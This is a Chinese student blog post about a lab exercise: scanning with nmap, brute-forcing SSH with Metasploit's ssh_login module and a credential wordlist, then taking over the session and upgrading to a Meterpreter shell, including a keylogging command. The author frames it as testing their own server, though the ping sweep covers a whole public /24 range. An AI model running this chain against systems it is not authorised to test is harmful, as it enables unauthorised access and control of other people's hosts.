任务
由于在试用阿里云提供的企业版安全中心时,注意到提示存在ssh暴力破解,但也无从下手。这次正好做为公选课的课题进行实践与理论学习,前面已经通过配置ssh登录云服务器实现一定的安全防护,这里尝试利用渗透工具进行ssh暴力破解的实战。
安装软件
主要参考博文进行操作,故下载两个软件nmap与metasploit,正巧也都曾在公选课上听到过提名。
nmap
Linux下的网络扫描和嗅探工具包. nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统
【1】
yum install nmap
很快下载完成,输入命令进行测试
nmap -sP
nmap 60.205.3.221/24 -sP -v
- -s为扫描功能
- P为ping命令形式,向指定的网络主机发送特殊网络数据报 IMCP ECHO_REQUEST。多数网络设备(少数网络如microsoft.com会ping不通)收到该数据包后会做出回应,通过此法即可验证网络连接是否正常。
- -v打印冗余信息,更丰富。
- /24 表示掩码255.255.255.0,因为二进制有24个1
nmap -O
nmap -O 127.0.0.1
- -O激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。nmap使用一些技术检测目标主机操作系统网络协议栈的特征,nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。
- 对比上下两图,分别是检测主机网络127.0.0.1与本机IP的结果,可见预测的结果正确。
metasploit
一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程
【1】
无法通过yum安装,故前往GitHub搜素,按照指引,有集成的安装指令:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
- curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。
- > msfinstall 便是把请求到的内容重定向输入到文件msfinstall中
- chmod 755 将文件msfinstall对于不同用户组的读写执行rwx权限进行修改
- ./msfinstall便是执行
由于外网缘故,整个速度是很慢的,开机一晚上,第二天安装成功。
暴力破解
完整的攻击应是先需要nmap对开机在线主机的信息进行搜寻,确定能对探测包做出回应的目标,以便下一步探测该主机的漏洞端口。【3】
隐藏的SSH端口
当我在经过安全设置后,把默认ssh开放的22端口修改后,此时再通过nmap进行扫描,便不见了踪影,说明还是在某种程度上有防护作用的。
我的工作必须且只能针对我的靶机开展,因此主要集中在metasploit的ssh_login工具的使用。
search ssh_login
通过这个命令可以找到名称包含有关键词ssh_login的模块
use auxiliary/scanner/ssh/ssh_login
使用该模块,输入show options便可打印出不同的参数设置情况
必填项:
- RHOSTS:填写靶机的IP地址
- RPORT:靶机开放的ssh端口(这里就要修改为我自己设置的,而非默认的22)
- VERBOSE:冗余信息,输入set verbose true,可以把过程显示清晰一些
- 爆破需要的用户名和密码文件在下节整理
添加userpass_file
mkdir /opt/metasploit-framework/data/wordlists -p
cd /opt/metasploit-framework/data/wordlists
touch root_userpass.txt
vi root_userpass.txt
将生成的文件保存在目录/opt/metasploit-framework/data/wordlists下,并编辑内容如下。按照程序对参数的说明,用户名和密码之间空格隔开,一行行列写。
root root
root admin
root stop
root quit
admin 1233
admin 444
admin 777
admin good
msf 2020
msf June
msf 16
hust huster
hust aia
hust 2018
下一步就是把该文件传递给模块运行的参数:
set userpass_file /opt/metasploit-framework/data/wordlists/root_userpass.txt
run
当必需的参数设定完成后,便可运行模块,开始暴力破解(就是遍历提供的用户名和密码去尝试登录靶机)
上面的用户名和密码都没有成功,当然要测试一下成功是什么样的:
这里,绿色的加号就是我将正确的用户名和密码提供后的破解结果。一方面,可以通过打印记录知道正确的用户名和密码;另一方面,消息提示已经在session2里面运行
控制主机
查看session
sessions -i
这里显示有一个id为1的session处于连接中
进入session
sessions -i 1
进入后便可输入相应的linux指令,恣意妄为~
获取meterpreter shell
Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码等。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己
【6】
sessions -u 2(session的id号)
可以看到,在输入该命令后,多了新的id=3的session,进入
sessions -i 3
meterpreter有系列指令,可以通过help查看。比如下面的打印系统信息sysinfo、列出主机运行进程ps。监听键盘的keyscan_start让我觉得很酷,但并没有该功能,奇怪。